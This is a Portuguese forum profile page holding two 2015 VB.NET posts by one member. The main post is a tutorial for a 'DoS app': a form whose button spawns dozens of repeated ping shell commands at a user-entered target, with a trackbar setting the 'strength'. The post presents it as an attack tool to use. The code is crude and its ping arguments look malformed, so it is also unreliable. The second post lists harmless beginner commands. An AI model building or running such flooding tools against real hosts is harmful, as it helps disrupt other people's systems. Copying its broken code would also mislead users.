Ir para conteúdo

Faça parte da equipe! (2024) ×

Bobiam@Root

Membro

Perfil Explorar Conteúdo

Total de Posts
2
Registro em
8 de Setembro 2015
Última visita
25 de Setembro 2015
WCoins
0

Tipo de Conteúdo

Todas Atividades

Perfis

Fóruns

Atualizações

Quizzes

Store

Product Reviews

Posts postados por Bobiam@Root

App pra DoS [Tutorial]

em Visual Basic
Postado 24 de Setembro 2015

Eae pessoas blz?, meu segundo post aki, hoje vim ensinar como fazer um app de ping/dos, muito simples, vamos ao project, qualquer erro desculpe

1 - Abra seu VB.NET, crie um projeto .exe(WindowsApplication)

2 - Coloque uma textbox, um button e uma trackbar

2.1 - Na propriedades da trackbar coloque em maximum = 5

3 - Ajuste da sua forma, e de double click no button

4 - Coloque o seguinte codigo :

If TrackBar1.Value = 0 Then

MsgBox("Coloque uma força")

End if

If TrackBar1.Value = 1 Then

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

End if

If TrackBar1.Value = 2 Then

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

End if

If TrackBar1.Value = 3 Then

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

End if

If TrackBar1.Value = 4 Then

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

End if

If TrackBar1.Value = 5 Then

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

End if

6 - Pronto, app feito agora so aproveitar

OBS : Ele abre muitos cmds cuidado !!

Conhecimento não e crime
Comandos Basicos (Iniciantes) Visual Basic

em Visual Basic
Postado 10 de Setembro 2015

Opaaa galera blz? Espero que sim, hoje e meu primeiro post aquii qualquer erro não liguem

Codigo para fechar :

me.close ou exit

Mensagem com titulo :

MsgBox("MensagemAqui, MsgBoxStyle.Information(ou Critical , MsgBoxHelp ,e Exclamation), Title:="Titulo da Msg"

Abir link por um botão :

System.Diagnostics.Process.Start("coloque o link aqui")

Tutorial foi esse flws e fui

×

Criar Novo...

Informação Importante

Nós fazemos uso de cookies no seu dispositivo para ajudar a tornar este site melhor. Você pode ajustar suas configurações de cookies , caso contrário, vamos supor que você está bem para continuar.

Accept Cookies Reject Cookies